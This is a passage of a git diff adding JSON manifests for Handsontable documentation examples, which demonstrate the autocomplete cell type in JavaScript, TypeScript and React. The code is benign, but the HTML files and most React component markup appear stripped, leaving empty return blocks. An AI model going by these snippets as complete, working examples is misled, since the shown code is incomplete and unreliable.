build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst statuses = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n];\nconst container = document.querySelector('#example8');\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Backlog', 'Backlog'],\n ['In progress', 'In progress'],\n ['Blocked', 'Blocked'],\n ['Done', 'Done'],\n ['Cancelled', 'Cancelled'],\n ],\n colHeaders: ['Source order (default)', 'Alphabetical order'],\n columns: [\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sortByRelevance: true is the default — suggestions keep the order from `source`\n },\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sort suggestions alphabetically instead of using the `source` order\n sortByRelevance: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example8.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json new file mode 100644 index 00000000..d4cb26dd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst statuses: string[] = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n];\n\nconst container = document.querySelector('#example8')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Backlog', 'Backlog'],\n ['In progress', 'In progress'],\n ['Blocked', 'Blocked'],\n ['Done', 'Done'],\n ['Cancelled', 'Cancelled'],\n ],\n colHeaders: ['Source order (default)', 'Alphabetical order'],\n columns: [\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sortByRelevance: true is the default — suggestions keep the order from `source`\n },\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sort suggestions alphabetically instead of using the `source` order\n sortByRelevance: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example8.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example9.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example9.js.json new file mode 100644 index 00000000..0e81a3d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example9.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst stockStatuses = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n];\nconst container = document.querySelector('#example9');\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n [stockStatuses[0], stockStatuses[0]],\n [stockStatuses[1], stockStatuses[1]],\n [stockStatuses[2], stockStatuses[2]],\n [stockStatuses[3], stockStatuses[3]],\n [stockStatuses[4], stockStatuses[4]],\n ],\n colHeaders: ['allowHtml: false (default)', 'allowHtml: true'],\n columns: [\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // allowHtml: false is the default — HTML tags in `source` are shown as plain text\n },\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // render `source` values as HTML — only use with trusted, static data\n allowHtml: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example9.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json new file mode 100644 index 00000000..cd48c17f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst stockStatuses: string[] = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n];\n\nconst container = document.querySelector('#example9')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n [stockStatuses[0], stockStatuses[0]],\n [stockStatuses[1], stockStatuses[1]],\n [stockStatuses[2], stockStatuses[2]],\n [stockStatuses[3], stockStatuses[3]],\n [stockStatuses[4], stockStatuses[4]],\n ],\n colHeaders: ['allowHtml: false (default)', 'allowHtml: true'],\n columns: [\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // allowHtml: false is the default — HTML tags in `source` are shown as plain text\n },\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // render `source` values as HTML — only use with trusted, static data\n allowHtml: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example9.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..c0894dd8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const colors = [\n 'yellow',\n 'red',\n 'orange and another color',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json new file mode 100644 index 00000000..f019f94c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const colors = [\n 'yellow',\n 'red',\n 'orange',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n ];\n\n const cars = ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'];\n\n return (\n (allowInvalid true)', 'Year', 'Chassis color', 'Bumper color
    (allowInvalid true)']}\n columns={[\n {\n type: 'autocomplete',\n source: cars,\n strict: true,\n // allowInvalid: true // true is default\n },\n {},\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n allowInvalid: true, // true is default\n },\n ]}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example2.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example2","exampleTitle":"Autocomplete strict mode","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json new file mode 100644 index 00000000..fe25976c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ]}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example3.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json new file mode 100644 index 00000000..885f8ee2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Array of values · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const shipmentKVData = [\n ['Electronics and Gadgets', 'Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', \"Chicago O'Hare International Airport\"],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol'],\n ];\n\n const airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n \"Chicago O'Hare International Airport\",\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport',\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example4.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example4","exampleTitle":"Array of values","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json new file mode 100644 index 00000000..e2c9f98a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Array of objects · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const shipmentKVData = [\n ['Electronics and Gadgets', { key: 'LAX', value: 'Los Angeles International Airport' }],\n ['Medical Supplies', { key: 'JFK', value: 'John F. Kennedy International Airport' }],\n ['Auto Parts', { key: 'ORD', value: \"Chicago O'Hare International Airport\" }],\n ['Fresh Produce', { key: 'LHR', value: 'London Heathrow Airport' }],\n ['Textiles', { key: 'CDG', value: 'Charles de Gaulle Airport' }],\n ['Industrial Equipment', { key: 'DXB', value: 'Dubai International Airport' }],\n ['Pharmaceuticals', { key: 'HND', value: 'Tokyo Haneda Airport' }],\n ['Consumer Goods', { key: 'PEK', value: 'Beijing Capital International Airport' }],\n ['Machine Parts', { key: 'SIN', value: 'Singapore Changi Airport' }],\n ['Food Products', { key: 'AMS', value: 'Amsterdam Airport Schiphol' }],\n ];\n\n const airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: \"Chicago O'Hare International Airport\" },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example5.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example5","exampleTitle":"Array of objects","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json new file mode 100644 index 00000000..42fc5f89 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · The filter option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst fruits: string[] = [\n 'Apple',\n 'Apricot',\n 'Avocado',\n 'Banana',\n 'Blueberry',\n 'Cherry',\n 'Grape',\n 'Lemon',\n 'Lime',\n 'Mango',\n 'Orange',\n 'Peach',\n 'Pear',\n 'Pineapple',\n 'Plum',\n 'Raspberry',\n 'Strawberry',\n 'Watermelon',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example6.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example6","exampleTitle":"The filter option","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git 